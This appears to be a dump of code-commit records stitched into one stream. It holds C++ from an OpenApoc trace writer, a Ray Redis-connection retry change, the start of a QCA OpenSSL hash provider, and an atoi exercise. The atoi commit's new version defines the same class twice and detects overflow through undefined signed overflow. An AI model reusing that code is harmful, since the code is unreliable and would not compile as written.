&args, uint64_t timeNS)\n\t : type(type), name(name), args(args), timeNS(timeNS)\n\t{\n\t}\n};\n\nclass EventList\n{\n public:\n\tUString tid;\n\tstd::vector<TraceEvent> events;\n};\n\nclass TraceManager\n{\n public:\n\t\/\/ We need a list of all the EventLists created for each thread to dump out & free at\n\t\/\/ TraceManager destructor time\n\tstd::list<std::unique_ptr<EventList>> lists;\n\tstd::mutex listMutex;\n\tEventList *createThreadEventList()\n\t{\n\t\tstd::stringstream ss;\n\t\tlistMutex.lock();\n\t\tEventList *list = new EventList;\n\t\tss << std::this_thread::get_id();\n\t\tlist->tid = ss.str();\n\t\tlists.emplace_back(list);\n\t\tlistMutex.unlock();\n\t\treturn list;\n\t}\n\t~TraceManager();\n\tvoid write();\n};\n\nstatic std::unique_ptr<TraceManager> trace_manager;\n\n#if defined(PTHREADS_AVAILABLE)\n#include <pthread.h>\n#endif\n\n\/\/ thread_local isn't implemented until msvc 2015 (_MSC_VER 1900)\n#if defined(_MSC_VER) && _MSC_VER < 1900\nstatic __declspec(thread) EventList *events = nullptr;\n#else\n#if defined(BROKEN_THREAD_LOCAL)\n#warning Using pthread path\n\nstatic pthread_key_t eventListKey;\n\n#else\nstatic thread_local EventList *events = nullptr;\n#endif\n#endif\nstatic std::chrono::time_point<std::chrono::high_resolution_clock> traceStartTime;\n\n} \/\/ anonymous namespace\n\nTraceManager::~TraceManager()\n{\n\tif (OpenApoc::Trace::enabled)\n\t\tthis->write();\n}\n\nvoid TraceManager::write()\n{\n\tassert(OpenApoc::Trace::enabled);\n\tOpenApoc::Trace::enabled = false;\n\n\tstd::ofstream outFile(\"openapoc_trace.json\");\n\n\t\/\/ FIXME: Use proper json parser instead of magically constructing from strings?\n\n\toutFile << \"{\\\"traceEvents\\\":[\\n\";\n\n\tbool firstEvent = true;\n\n\tlistMutex.lock();\n\tfor (auto &eventList : lists)\n\t{\n\t\tfor (auto &event : eventList->events)\n\t\t{\n\t\t\tif (!firstEvent)\n\t\t\t\toutFile << \",\\n\";\n\n\t\t\tfirstEvent = false;\n\n\t\t\toutFile << \"{\"\n\t\t\t << \"\\\"pid\\\":1,\"\n\t\t\t << \"\\\"tid\\\":\\\"\" << eventList->tid.str() << \"\\\",\"\n\t\t\t \/\/ Time is in microseconds, not nanoseconds\n\t\t\t << \"\\\"ts\\\":\" << event.timeNS \/ 1000 << \",\"\n\t\t\t << \"\\\"name\\\":\\\"\" << event.name.str() << \"\\\",\";\n\n\t\t\tswitch (event.type)\n\t\t\t{\n\t\t\t\tcase EventType::Begin:\n\t\t\t\t{\n\t\t\t\t\toutFile << \"\\\"ph\\\":\\\"B\\\"\";\n\n\t\t\t\t\tif (!event.args.empty())\n\t\t\t\t\t{\n\t\t\t\t\t\toutFile << \",\\\"args\\\":{\";\n\n\t\t\t\t\t\tbool firstArg = true;\n\n\t\t\t\t\t\tfor (auto &arg : event.args)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!firstArg)\n\t\t\t\t\t\t\t\toutFile << \",\";\n\t\t\t\t\t\t\tfirstArg = false;\n\t\t\t\t\t\t\toutFile << \"\\\"\" << arg.first.str() << \"\\\":\\\"\" << arg.second.str()\n\t\t\t\t\t\t\t << \"\\\"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\toutFile << \"}\";\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase EventType::End:\n\t\t\t\t\toutFile << \"\\\"ph\\\":\\\"E\\\"\";\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\toutFile << \"}\";\n\t\t}\n\t}\n\tlistMutex.unlock();\n\toutFile << \"]}\\n\";\n\toutFile.flush();\n}\n\nnamespace OpenApoc\n{\n\nbool Trace::enabled = false;\n\nvoid Trace::enable()\n{\n\tassert(!trace_manager);\n\ttrace_manager.reset(new TraceManager);\n#if defined(BROKEN_THREAD_LOCAL)\n\tpthread_key_create(&eventListKey, NULL);\n#endif\n\tTrace::enabled = true;\n\ttraceStartTime = std::chrono::high_resolution_clock::now();\n}\n\nvoid Trace::disable()\n{\n\tassert(trace_manager);\n\ttrace_manager->write();\n\ttrace_manager.reset(nullptr);\n#if defined(BROKEN_THREAD_LOCAL)\n\tpthread_key_delete(eventListKey);\n#endif\n\tTrace::enabled = false;\n}\n\nvoid Trace::setThreadName(const UString &name)\n{\n#if defined(PTHREADS_AVAILABLE)\n\tpthread_setname_np(pthread_self(), name.c_str());\n#endif\n\tif (!Trace::enabled)\n\t\treturn;\n\n#if defined(BROKEN_THREAD_LOCAL)\n\tEventList *events = (EventList *)pthread_getspecific(eventListKey);\n\tif (!events)\n\t{\n\t\tevents = trace_manager->createThreadEventList();\n\t\tpthread_setspecific(eventListKey, events);\n\t}\n#else\n\tif (!events)\n\t\tevents = trace_manager->createThreadEventList();\n#endif\n\n\tevents->tid = name;\n}\n\nvoid Trace::start(const UString &name, const std::vector<std::pair<UString, UString>> &args)\n{\n\tif (!Trace::enabled)\n\t\treturn;\n#if defined(BROKEN_THREAD_LOCAL)\n\tEventList *events = (EventList *)pthread_getspecific(eventListKey);\n\tif (!events)\n\t{\n\t\tevents = trace_manager->createThreadEventList();\n\t\tpthread_setspecific(eventListKey, events);\n\t}\n#else\n\tif (!events)\n\t\tevents = trace_manager->createThreadEventList();\n#endif\n\n\tauto timeNow = std::chrono::high_resolution_clock::now();\n\tuint64_t timeNS = std::chrono::duration<uint64_t, std::nano>(timeNow - traceStartTime).count();\n\tevents->events.emplace_back(EventType::Begin, name, args, timeNS);\n}\nvoid Trace::end(const UString &name)\n{\n\tif (!Trace::enabled)\n\t\treturn;\n#if defined(BROKEN_THREAD_LOCAL)\n\tEventList *events = (EventList *)pthread_getspecific(eventListKey);\n\tif (!events)\n\t{\n\t\tevents = trace_manager->createThreadEventList();\n\t\tpthread_setspecific(eventListKey, events);\n\t}\n#else\n\tif (!events)\n\t\tevents = trace_manager->createThreadEventList();\n#endif\n\tauto timeNow = std::chrono::high_resolution_clock::now();\n\tuint64_t timeNS = std::chrono::duration<uint64_t, std::nano>(timeNow - traceStartTime).count();\n\tevents->events.emplace_back(EventType::End, name, std::vector<std::pair<UString, UString>>{},\n\t timeNS);\n}\n\n} \/\/ namespace OpenApoc\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n\nusing namespace std;\n\nclass Solution {\npublic:\n int myAtoi(string str) {\n int begin = 0;\n while (str[begin] == ' ')\n {\n begin++;\n }\n\n long max_int = INT_MAX;\n long min_int = INT_MIN;\n\n bool negative = false;\n\n if (str[begin] == '-')\n {\n negative = true;\n begin++;\n }\n else if (str[begin] == '+')\n {\n begin++;\n }\n\n long number = 0;\n while (begin < str.size())\n {\n char c = str[begin];\n int d = c - 48;\n if (d < 0 || d > 9)\n {\n break;\n }\n\n number = number * 10 + d;\n begin++;\n\n if (negative == true)\n {\n if (-number <= min_int)\n {\n return min_int;\n }\n }\n else\n {\n if (number >= max_int)\n {\n return max_int;\n }\n }\n }\n\n if (negative == true)\n {\n number = -number;\n }\n\n if (number >= max_int)\n {\n return max_int;\n }\n\n if (number <= min_int)\n {\n return min_int;\n }\n\n return number;\n }\n};\n<commit_msg>update<commit_after>#include <iostream>\n\nusing namespace std;\n\nclass Solution {\npublic:\n int myAtoi(string str) {\n int begin = 0;\n while (str[begin] == ' ')\n {\n begin++;\n }\n\n long max_int = INT_MAX;\n long min_int = INT_MIN;\n\n bool negative = false;\n\n if (str[begin] == '-')\n {\n negative = true;\n begin++;\n }\n else if (str[begin] == '+')\n {\n begin++;\n }\n\n long number = 0;\n while (begin < str.size())\n {\n char c = str[begin];\n int d = c - 48;\n if (d < 0 || d > 9)\n {\n break;\n }\n\n number = number * 10 + d;\n begin++;\n\n if (negative == true)\n {\n if (-number <= min_int)\n {\n return min_int;\n }\n }\n else\n {\n if (number >= max_int)\n {\n return max_int;\n }\n }\n }\n\n if (negative == true)\n {\n number = -number;\n }\n\n if (number >= max_int)\n {\n return max_int;\n }\n\n if (number <= min_int)\n {\n return min_int;\n }\n\n return number;\n }\n};\n\nclass Solution {\npublic:\n int myAtoi(string str) {\n int idx = 0;\n while (str[idx] == ' ')\n {\n idx++;\n }\n\n bool negative = false;\n\n if (str[idx] == '-')\n {\n negative = true;\n idx++;\n }\n else if (str[idx] == '+')\n {\n idx++;\n }\n\n int num = 0;\n while (idx < str.size())\n {\n int d = str[idx] - 48;\n if (d < 0 || d > 9)\n {\n break;\n }\n\n int new_num = num * 10 + d;\n if (new_num \/ 10 != num)\n {\n \/\/ overflow\n if (negative == true)\n {\n return INT_MIN;\n }\n else\n {\n return INT_MAX;\n }\n }\n\n num = new_num;\n idx++;\n }\n\n if (negative == true)\n {\n num = -num;\n }\n\n return num;\n }\n};\n<|endoftext|>"} {"text":"<commit_before>#include \"ray\/gcs\/redis_context.h\"\n\n#include <unistd.h>\n\n#include <sstream>\n\nextern \"C\" {\n#include \"hiredis\/adapters\/ae.h\"\n#include \"hiredis\/async.h\"\n#include \"hiredis\/hiredis.h\"\n}\n\n\/\/ TODO(pcm): Integrate into the C++ tree.\n#include \"state\/ray_config.h\"\n\nnamespace {\n\n\/\/\/ A helper function to call the callback and delete it from the callback\n\/\/\/ manager if necessary.\nvoid ProcessCallback(int64_t callback_index, const std::string &data) {\n if (callback_index >= 0) {\n bool delete_callback =\n ray::gcs::RedisCallbackManager::instance().get(callback_index)(data);\n \/\/ Delete the callback if necessary.\n if (delete_callback) {\n ray::gcs::RedisCallbackManager::instance().remove(callback_index);\n }\n }\n}\n\n} \/\/ namespace\n\nnamespace ray {\n\nnamespace gcs {\n\n\/\/ This is a global redis callback which will be registered for every\n\/\/ asynchronous redis call. It dispatches the appropriate callback\n\/\/ that was registered with the RedisCallbackManager.\nvoid GlobalRedisCallback(void *c, void *r, void *privdata) {\n if (r == nullptr) {\n return;\n }\n int64_t callback_index = reinterpret_cast<int64_t>(privdata);\n redisReply *reply = reinterpret_cast<redisReply *>(r);\n std::string data = \"\";\n \/\/ Parse the response.\n switch (reply->type) {\n case (REDIS_REPLY_NIL): {\n \/\/ Do not add any data for a nil response.\n } break;\n case (REDIS_REPLY_STRING): {\n data = std::string(reply->str, reply->len);\n } break;\n case (REDIS_REPLY_STATUS): {\n } break;\n case (REDIS_REPLY_ERROR): {\n RAY_LOG(ERROR) << \"Redis error \" << reply->str;\n } break;\n case (REDIS_REPLY_INTEGER): {\n data = std::to_string(reply->integer);\n break;\n }\n default:\n RAY_LOG(FATAL) << \"Fatal redis error of type \" << reply->type << \" and with string \"\n << reply->str;\n }\n ProcessCallback(callback_index, data);\n}\n\nvoid SubscribeRedisCallback(void *c, void *r, void *privdata) {\n if (r == nullptr) {\n return;\n }\n int64_t callback_index = reinterpret_cast<int64_t>(privdata);\n redisReply *reply = reinterpret_cast<redisReply *>(r);\n std::string data = \"\";\n \/\/ Parse the response.\n switch (reply->type) {\n case (REDIS_REPLY_ARRAY): {\n \/\/ Parse the published message.\n redisReply *message_type = reply->element[0];\n if (strcmp(message_type->str, \"subscribe\") == 0) {\n \/\/ If the message is for the initial subscription call, return the empty\n \/\/ string as a response to signify that subscription was successful.\n } else if (strcmp(message_type->str, \"message\") == 0) {\n \/\/ If the message is from a PUBLISH, make sure the data is nonempty.\n redisReply *message = reply->element[reply->elements - 1];\n auto notification = std::string(message->str, message->len);\n RAY_CHECK(!notification.empty()) << \"Empty message received on subscribe channel\";\n data = notification;\n } else {\n RAY_LOG(FATAL) << \"Fatal redis error during subscribe\" << message_type->str;\n }\n\n } break;\n case (REDIS_REPLY_ERROR): {\n RAY_LOG(ERROR) << \"Redis error \" << reply->str;\n } break;\n default:\n RAY_LOG(FATAL) << \"Fatal redis error of type \" << reply->type << \" and with string \"\n << reply->str;\n }\n ProcessCallback(callback_index, data);\n}\n\nint64_t RedisCallbackManager::add(const RedisCallback &function) {\n callbacks_.emplace(num_callbacks_, function);\n return num_callbacks_++;\n}\n\nRedisCallback &RedisCallbackManager::get(int64_t callback_index) {\n RAY_CHECK(callbacks_.find(callback_index) != callbacks_.end());\n return callbacks_[callback_index];\n}\n\nvoid RedisCallbackManager::remove(int64_t callback_index) {\n callbacks_.erase(callback_index);\n}\n\n#define REDIS_CHECK_ERROR(CONTEXT, REPLY) \\\n if (REPLY == nullptr || REPLY->type == REDIS_REPLY_ERROR) { \\\n return Status::RedisError(CONTEXT->errstr); \\\n }\n\nRedisContext::~RedisContext() {\n if (context_) {\n redisFree(context_);\n }\n if (async_context_) {\n redisAsyncFree(async_context_);\n }\n if (subscribe_context_) {\n redisAsyncFree(subscribe_context_);\n }\n}\n\nStatus AuthenticateRedis(redisContext *context, const std::string &password) {\n if (password == \"\") {\n return Status::OK();\n }\n redisReply *reply =\n reinterpret_cast<redisReply *>(redisCommand(context, \"AUTH %s\", password.c_str()));\n REDIS_CHECK_ERROR(context, reply);\n freeReplyObject(reply);\n return Status::OK();\n}\n\nStatus AuthenticateRedis(redisAsyncContext *context, const std::string &password) {\n if (password == \"\") {\n return Status::OK();\n }\n int status = redisAsyncCommand(context, NULL, NULL, \"AUTH %s\", password.c_str());\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(context->errstr));\n }\n return Status::OK();\n}\n\nStatus RedisContext::Connect(const std::string &address, int port, bool sharding,\n const std::string &password = \"\") {\n int connection_attempts = 0;\n context_ = redisConnect(address.c_str(), port);\n while (context_ == nullptr || context_->err) {\n if (connection_attempts >= RayConfig::instance().redis_db_connect_retries()) {\n if (context_ == nullptr) {\n RAY_LOG(FATAL) << \"Could not allocate redis context.\";\n }\n if (context_->err) {\n RAY_LOG(FATAL) << \"Could not establish connection to redis \" << address << \":\"\n << port;\n }\n break;\n }\n RAY_LOG(WARNING) << \"Failed to connect to Redis, retrying.\";\n \/\/ Sleep for a little.\n usleep(RayConfig::instance().redis_db_connect_wait_milliseconds() * 1000);\n context_ = redisConnect(address.c_str(), port);\n connection_attempts += 1;\n }\n RAY_CHECK_OK(AuthenticateRedis(context_, password));\n\n redisReply *reply = reinterpret_cast<redisReply *>(\n redisCommand(context_, \"CONFIG SET notify-keyspace-events Kl\"));\n REDIS_CHECK_ERROR(context_, reply);\n freeReplyObject(reply);\n\n \/\/ Connect to async context\n async_context_ = redisAsyncConnect(address.c_str(), port);\n if (async_context_ == nullptr || async_context_->err) {\n RAY_LOG(FATAL) << \"Could not establish connection to redis \" << address << \":\"\n << port;\n }\n RAY_CHECK_OK(AuthenticateRedis(async_context_, password));\n\n \/\/ Connect to subscribe context\n subscribe_context_ = redisAsyncConnect(address.c_str(), port);\n if (subscribe_context_ == nullptr || subscribe_context_->err) {\n RAY_LOG(FATAL) << \"Could not establish subscribe connection to redis \" << address\n << \":\" << port;\n }\n RAY_CHECK_OK(AuthenticateRedis(subscribe_context_, password));\n\n return Status::OK();\n}\n\nStatus RedisContext::AttachToEventLoop(aeEventLoop *loop) {\n if (redisAeAttach(loop, async_context_) != REDIS_OK ||\n redisAeAttach(loop, subscribe_context_) != REDIS_OK) {\n return Status::RedisError(\"could not attach redis event loop\");\n } else {\n return Status::OK();\n }\n}\n\nStatus RedisContext::RunAsync(const std::string &command, const UniqueID &id,\n const uint8_t *data, int64_t length,\n const TablePrefix prefix, const TablePubsub pubsub_channel,\n RedisCallback redisCallback, int log_length) {\n int64_t callback_index =\n redisCallback != nullptr ? RedisCallbackManager::instance().add(redisCallback) : -1;\n if (length > 0) {\n if (log_length >= 0) {\n std::string redis_command = command + \" %d %d %b %b %d\";\n int status = redisAsyncCommand(\n async_context_, reinterpret_cast<redisCallbackFn *>(&GlobalRedisCallback),\n reinterpret_cast<void *>(callback_index), redis_command.c_str(), prefix,\n pubsub_channel, id.data(), id.size(), data, length, log_length);\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(async_context_->errstr));\n }\n } else {\n std::string redis_command = command + \" %d %d %b %b\";\n int status = redisAsyncCommand(\n async_context_, reinterpret_cast<redisCallbackFn *>(&GlobalRedisCallback),\n reinterpret_cast<void *>(callback_index), redis_command.c_str(), prefix,\n pubsub_channel, id.data(), id.size(), data, length);\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(async_context_->errstr));\n }\n }\n } else {\n RAY_CHECK(log_length == -1);\n std::string redis_command = command + \" %d %d %b\";\n int status = redisAsyncCommand(\n async_context_, reinterpret_cast<redisCallbackFn *>(&GlobalRedisCallback),\n reinterpret_cast<void *>(callback_index), redis_command.c_str(), prefix,\n pubsub_channel, id.data(), id.size());\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(async_context_->errstr));\n }\n }\n return Status::OK();\n}\n\nStatus RedisContext::RunArgvAsync(const std::vector<std::string> &args) {\n \/\/ Build the arguments.\n std::vector<const char *> argv;\n std::vector<size_t> argc;\n for (size_t i = 0; i < args.size(); ++i) {\n argv.push_back(args[i].data());\n argc.push_back(args[i].size());\n }\n \/\/ Run the Redis command.\n int status;\n status = redisAsyncCommandArgv(async_context_, nullptr, nullptr, args.size(),\n argv.data(), argc.data());\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(async_context_->errstr));\n }\n return Status::OK();\n}\n\nStatus RedisContext::SubscribeAsync(const ClientID &client_id,\n const TablePubsub pubsub_channel,\n const RedisCallback &redisCallback,\n int64_t *out_callback_index) {\n RAY_CHECK(pubsub_channel != TablePubsub::NO_PUBLISH)\n << \"Client requested subscribe on a table that does not support pubsub\";\n\n int64_t callback_index = RedisCallbackManager::instance().add(redisCallback);\n RAY_CHECK(out_callback_index != nullptr);\n *out_callback_index = callback_index;\n int status = 0;\n if (client_id.is_nil()) {\n \/\/ Subscribe to all messages.\n std::string redis_command = \"SUBSCRIBE %d\";\n status = redisAsyncCommand(\n subscribe_context_, reinterpret_cast<redisCallbackFn *>(&SubscribeRedisCallback),\n reinterpret_cast<void *>(callback_index), redis_command.c_str(), pubsub_channel);\n } else {\n \/\/ Subscribe only to messages sent to this client.\n std::string redis_command = \"SUBSCRIBE %d:%b\";\n status = redisAsyncCommand(\n subscribe_context_, reinterpret_cast<redisCallbackFn *>(&SubscribeRedisCallback),\n reinterpret_cast<void *>(callback_index), redis_command.c_str(), pubsub_channel,\n client_id.data(), client_id.size());\n }\n\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(subscribe_context_->errstr));\n }\n return Status::OK();\n}\n\n} \/\/ namespace gcs\n\n} \/\/ namespace ray\n<commit_msg>Retry connections to redis for async and subscribe contexts (#3105)<commit_after>#include \"ray\/gcs\/redis_context.h\"\n\n#include <unistd.h>\n\n#include <sstream>\n\nextern \"C\" {\n#include \"hiredis\/adapters\/ae.h\"\n#include \"hiredis\/async.h\"\n#include \"hiredis\/hiredis.h\"\n}\n\n\/\/ TODO(pcm): Integrate into the C++ tree.\n#include \"state\/ray_config.h\"\n\nnamespace {\n\n\/\/\/ A helper function to call the callback and delete it from the callback\n\/\/\/ manager if necessary.\nvoid ProcessCallback(int64_t callback_index, const std::string &data) {\n if (callback_index >= 0) {\n bool delete_callback =\n ray::gcs::RedisCallbackManager::instance().get(callback_index)(data);\n \/\/ Delete the callback if necessary.\n if (delete_callback) {\n ray::gcs::RedisCallbackManager::instance().remove(callback_index);\n }\n }\n}\n\n} \/\/ namespace\n\nnamespace ray {\n\nnamespace gcs {\n\n\/\/ This is a global redis callback which will be registered for every\n\/\/ asynchronous redis call. It dispatches the appropriate callback\n\/\/ that was registered with the RedisCallbackManager.\nvoid GlobalRedisCallback(void *c, void *r, void *privdata) {\n if (r == nullptr) {\n return;\n }\n int64_t callback_index = reinterpret_cast<int64_t>(privdata);\n redisReply *reply = reinterpret_cast<redisReply *>(r);\n std::string data = \"\";\n \/\/ Parse the response.\n switch (reply->type) {\n case (REDIS_REPLY_NIL): {\n \/\/ Do not add any data for a nil response.\n } break;\n case (REDIS_REPLY_STRING): {\n data = std::string(reply->str, reply->len);\n } break;\n case (REDIS_REPLY_STATUS): {\n } break;\n case (REDIS_REPLY_ERROR): {\n RAY_LOG(ERROR) << \"Redis error \" << reply->str;\n } break;\n case (REDIS_REPLY_INTEGER): {\n data = std::to_string(reply->integer);\n break;\n }\n default:\n RAY_LOG(FATAL) << \"Fatal redis error of type \" << reply->type << \" and with string \"\n << reply->str;\n }\n ProcessCallback(callback_index, data);\n}\n\nvoid SubscribeRedisCallback(void *c, void *r, void *privdata) {\n if (r == nullptr) {\n return;\n }\n int64_t callback_index = reinterpret_cast<int64_t>(privdata);\n redisReply *reply = reinterpret_cast<redisReply *>(r);\n std::string data = \"\";\n \/\/ Parse the response.\n switch (reply->type) {\n case (REDIS_REPLY_ARRAY): {\n \/\/ Parse the published message.\n redisReply *message_type = reply->element[0];\n if (strcmp(message_type->str, \"subscribe\") == 0) {\n \/\/ If the message is for the initial subscription call, return the empty\n \/\/ string as a response to signify that subscription was successful.\n } else if (strcmp(message_type->str, \"message\") == 0) {\n \/\/ If the message is from a PUBLISH, make sure the data is nonempty.\n redisReply *message = reply->element[reply->elements - 1];\n auto notification = std::string(message->str, message->len);\n RAY_CHECK(!notification.empty()) << \"Empty message received on subscribe channel\";\n data = notification;\n } else {\n RAY_LOG(FATAL) << \"Fatal redis error during subscribe\" << message_type->str;\n }\n\n } break;\n case (REDIS_REPLY_ERROR): {\n RAY_LOG(ERROR) << \"Redis error \" << reply->str;\n } break;\n default:\n RAY_LOG(FATAL) << \"Fatal redis error of type \" << reply->type << \" and with string \"\n << reply->str;\n }\n ProcessCallback(callback_index, data);\n}\n\nint64_t RedisCallbackManager::add(const RedisCallback &function) {\n callbacks_.emplace(num_callbacks_, function);\n return num_callbacks_++;\n}\n\nRedisCallback &RedisCallbackManager::get(int64_t callback_index) {\n RAY_CHECK(callbacks_.find(callback_index) != callbacks_.end());\n return callbacks_[callback_index];\n}\n\nvoid RedisCallbackManager::remove(int64_t callback_index) {\n callbacks_.erase(callback_index);\n}\n\n#define REDIS_CHECK_ERROR(CONTEXT, REPLY) \\\n if (REPLY == nullptr || REPLY->type == REDIS_REPLY_ERROR) { \\\n return Status::RedisError(CONTEXT->errstr); \\\n }\n\nRedisContext::~RedisContext() {\n if (context_) {\n redisFree(context_);\n }\n if (async_context_) {\n redisAsyncFree(async_context_);\n }\n if (subscribe_context_) {\n redisAsyncFree(subscribe_context_);\n }\n}\n\nStatus AuthenticateRedis(redisContext *context, const std::string &password) {\n if (password == \"\") {\n return Status::OK();\n }\n redisReply *reply =\n reinterpret_cast<redisReply *>(redisCommand(context, \"AUTH %s\", password.c_str()));\n REDIS_CHECK_ERROR(context, reply);\n freeReplyObject(reply);\n return Status::OK();\n}\n\nStatus AuthenticateRedis(redisAsyncContext *context, const std::string &password) {\n if (password == \"\") {\n return Status::OK();\n }\n int status = redisAsyncCommand(context, NULL, NULL, \"AUTH %s\", password.c_str());\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(context->errstr));\n }\n return Status::OK();\n}\n\ntemplate <typename RedisContext, typename RedisConnectFunction>\nStatus ConnectWithRetries(const std::string &address, int port,\n const RedisConnectFunction &connect_function,\n RedisContext **context) {\n int connection_attempts = 0;\n *context = connect_function(address.c_str(), port);\n while (*context == nullptr || (*context)->err) {\n if (connection_attempts >= RayConfig::instance().redis_db_connect_retries()) {\n if (*context == nullptr) {\n RAY_LOG(FATAL) << \"Could not allocate redis context.\";\n }\n if ((*context)->err) {\n RAY_LOG(FATAL) << \"Could not establish connection to redis \" << address << \":\"\n << port << \" (context.err = \" << (*context)->err << \")\";\n }\n break;\n }\n RAY_LOG(WARNING) << \"Failed to connect to Redis, retrying.\";\n \/\/ Sleep for a little.\n usleep(RayConfig::instance().redis_db_connect_wait_milliseconds() * 1000);\n *context = connect_function(address.c_str(), port);\n connection_attempts += 1;\n }\n return Status::OK();\n}\n\nStatus RedisContext::Connect(const std::string &address, int port, bool sharding,\n const std::string &password = \"\") {\n RAY_CHECK_OK(ConnectWithRetries(address, port, redisConnect, &context_));\n RAY_CHECK_OK(AuthenticateRedis(context_, password));\n\n redisReply *reply = reinterpret_cast<redisReply *>(\n redisCommand(context_, \"CONFIG SET notify-keyspace-events Kl\"));\n REDIS_CHECK_ERROR(context_, reply);\n freeReplyObject(reply);\n\n \/\/ Connect to async context\n RAY_CHECK_OK(ConnectWithRetries(address, port, redisAsyncConnect, &async_context_));\n RAY_CHECK_OK(AuthenticateRedis(async_context_, password));\n\n \/\/ Connect to subscribe context\n RAY_CHECK_OK(ConnectWithRetries(address, port, redisAsyncConnect, &subscribe_context_));\n RAY_CHECK_OK(AuthenticateRedis(subscribe_context_, password));\n\n return Status::OK();\n}\n\nStatus RedisContext::AttachToEventLoop(aeEventLoop *loop) {\n if (redisAeAttach(loop, async_context_) != REDIS_OK ||\n redisAeAttach(loop, subscribe_context_) != REDIS_OK) {\n return Status::RedisError(\"could not attach redis event loop\");\n } else {\n return Status::OK();\n }\n}\n\nStatus RedisContext::RunAsync(const std::string &command, const UniqueID &id,\n const uint8_t *data, int64_t length,\n const TablePrefix prefix, const TablePubsub pubsub_channel,\n RedisCallback redisCallback, int log_length) {\n int64_t callback_index =\n redisCallback != nullptr ? RedisCallbackManager::instance().add(redisCallback) : -1;\n if (length > 0) {\n if (log_length >= 0) {\n std::string redis_command = command + \" %d %d %b %b %d\";\n int status = redisAsyncCommand(\n async_context_, reinterpret_cast<redisCallbackFn *>(&GlobalRedisCallback),\n reinterpret_cast<void *>(callback_index), redis_command.c_str(), prefix,\n pubsub_channel, id.data(), id.size(), data, length, log_length);\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(async_context_->errstr));\n }\n } else {\n std::string redis_command = command + \" %d %d %b %b\";\n int status = redisAsyncCommand(\n async_context_, reinterpret_cast<redisCallbackFn *>(&GlobalRedisCallback),\n reinterpret_cast<void *>(callback_index), redis_command.c_str(), prefix,\n pubsub_channel, id.data(), id.size(), data, length);\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(async_context_->errstr));\n }\n }\n } else {\n RAY_CHECK(log_length == -1);\n std::string redis_command = command + \" %d %d %b\";\n int status = redisAsyncCommand(\n async_context_, reinterpret_cast<redisCallbackFn *>(&GlobalRedisCallback),\n reinterpret_cast<void *>(callback_index), redis_command.c_str(), prefix,\n pubsub_channel, id.data(), id.size());\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(async_context_->errstr));\n }\n }\n return Status::OK();\n}\n\nStatus RedisContext::RunArgvAsync(const std::vector<std::string> &args) {\n \/\/ Build the arguments.\n std::vector<const char *> argv;\n std::vector<size_t> argc;\n for (size_t i = 0; i < args.size(); ++i) {\n argv.push_back(args[i].data());\n argc.push_back(args[i].size());\n }\n \/\/ Run the Redis command.\n int status;\n status = redisAsyncCommandArgv(async_context_, nullptr, nullptr, args.size(),\n argv.data(), argc.data());\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(async_context_->errstr));\n }\n return Status::OK();\n}\n\nStatus RedisContext::SubscribeAsync(const ClientID &client_id,\n const TablePubsub pubsub_channel,\n const RedisCallback &redisCallback,\n int64_t *out_callback_index) {\n RAY_CHECK(pubsub_channel != TablePubsub::NO_PUBLISH)\n << \"Client requested subscribe on a table that does not support pubsub\";\n\n int64_t callback_index = RedisCallbackManager::instance().add(redisCallback);\n RAY_CHECK(out_callback_index != nullptr);\n *out_callback_index = callback_index;\n int status = 0;\n if (client_id.is_nil()) {\n \/\/ Subscribe to all messages.\n std::string redis_command = \"SUBSCRIBE %d\";\n status = redisAsyncCommand(\n subscribe_context_, reinterpret_cast<redisCallbackFn *>(&SubscribeRedisCallback),\n reinterpret_cast<void *>(callback_index), redis_command.c_str(), pubsub_channel);\n } else {\n \/\/ Subscribe only to messages sent to this client.\n std::string redis_command = \"SUBSCRIBE %d:%b\";\n status = redisAsyncCommand(\n subscribe_context_, reinterpret_cast<redisCallbackFn *>(&SubscribeRedisCallback),\n reinterpret_cast<void *>(callback_index), redis_command.c_str(), pubsub_channel,\n client_id.data(), client_id.size());\n }\n\n if (status == REDIS_ERR) {\n return Status::RedisError(std::string(subscribe_context_->errstr));\n }\n return Status::OK();\n}\n\n} \/\/ namespace gcs\n\n} \/\/ namespace ray\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2004 Justin Karneges\n * Copyright (C) 2004 Brad Hards <bradh@frogmouth.net>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\n *\/\n#include \"qcaprovider.h\"\n#include <qstringlist.h>\n#include <openssl\/sha.h>\n#include <openssl\/md2.h>\n#include <openssl\/md4.h>\n#include <openssl\/md5.h>\n#include <openssl\/ripemd.h>\n#include <openssl\/hmac.h>\n\nclass MD2Context : public QCA::HashContext\n{\npublic:\n\tMD2_CTX c;\n\n\tMD2Context(QCA::Provider *p) : HashContext(p, \"md2\")\n\t{\n\t\tclear();\n\t}\n\n\tContext *clone() const\n\t{\n\t\treturn new MD2Context(*this);\n\t}\n\n\tvoid clear()\n\t{\n\t\tMD2_Init(&c);\n\t}\n\n\tvoid update(const QSecureArray &a)\n\t{\n\t\tMD2_Update(&c, (unsigned char *)a.data(), a.size());\n\t}\n\n\tQSecureArray final()\n\t{\n\t\tQSecureArray a(MD2_DIGEST_LENGTH);\n\t\tMD2_Final((unsigned char *)a.data(), &c);\n\t\treturn 